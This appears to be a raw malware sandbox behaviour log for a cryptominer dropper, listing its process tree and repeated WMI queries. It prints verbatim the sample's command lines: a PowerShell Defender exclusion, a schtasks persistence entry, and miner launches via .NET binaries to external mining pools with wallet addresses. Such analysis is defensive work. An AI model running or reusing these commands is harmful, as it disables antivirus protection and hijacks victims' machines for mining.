    Source: gOKMPhOLiN.exeVirustotal: Detection: 32%
    Source: gOKMPhOLiN.exeReversingLabs: Detection: 23%
    Source: gOKMPhOLiN.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: unknownProcess created: C:\Users\user\Desktop\gOKMPhOLiN.exe C:\Users\user\Desktop\gOKMPhOLiN.exe
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess created: C:\Users\user\AppData\Local\Temp\ghoul.exe "C:\Users\user\AppData\Local\Temp\ghoul.exe"
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe"
    Source: unknownProcess created: C:\ProgramData\Adobe\PFCIA.exe C:\ProgramData\Adobe\PFCIA.exe
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RN9B8LkT5BcYXbc4ZVMYitfgKaA1wwbXwy.work -p x -t 3
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x20caf9B2c7aB54C3cB949F1489DD697327131861.Rig001 -coin etc -log 0
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe"
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x20caf9B2c7aB54C3cB949F1489DD697327131861.Rig001 -coin etc -log 0
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4436 -s 864
    Source: unknownProcess created: C:\ProgramData\Adobe\PFCIA.exe C:\ProgramData\Adobe\PFCIA.exe
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeProcess created: C:\Users\user\AppData\Local\Temp\ghoul.exe "C:\Users\user\AppData\Local\Temp\ghoul.exe" Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exeJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RN9B8LkT5BcYXbc4ZVMYitfgKaA1wwbXwy.work -p x -t 3Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x20caf9B2c7aB54C3cB949F1489DD697327131861.Rig001 -coin etc -log 0Jump to behavior
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe"Jump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'Jump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exeJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x20caf9B2c7aB54C3cB949F1489DD697327131861.Rig001 -coin etc -log 0Jump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe"
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 984
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6868
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2556
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1484
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4720
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8124
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8064
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1168
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5304
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4712
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2544
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 572
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5496
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5096
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6872
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1552
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2536
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5884
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2928
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6664
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1544
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2528
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1936
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2444
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2012
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1364
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1732
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1928
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2124
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3108
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5668
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5076
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7740
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4196
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3300
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 540
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 736
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 932
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2900
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7036
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1212
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6048
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1516
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1708
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1116
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2240
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3080
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4348
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1404
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6228
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3272
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7408
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2384
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5720
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6652
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2236
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5648
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 900
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5036
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4684
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7288
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2864
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6212
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 892
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7692
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2268
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 172
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1472
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2476
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5016
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1272
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1640
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7176
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4436
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4808
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6764
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1412
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5592
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1452
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3256
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2632
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5388
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4796
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3416
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7552
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6960
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2428
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3016
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5608
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1832
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5276
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1436
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6360
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1236
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3008
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1824
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2216
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4972
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1228
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1424
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 832
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1028
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3588
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4964
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4004
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 824
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1808
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1216
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2988
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3344
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4276
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2788
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6136
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3180
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3376
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2116
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6476
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3964
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2780
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4748
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6712
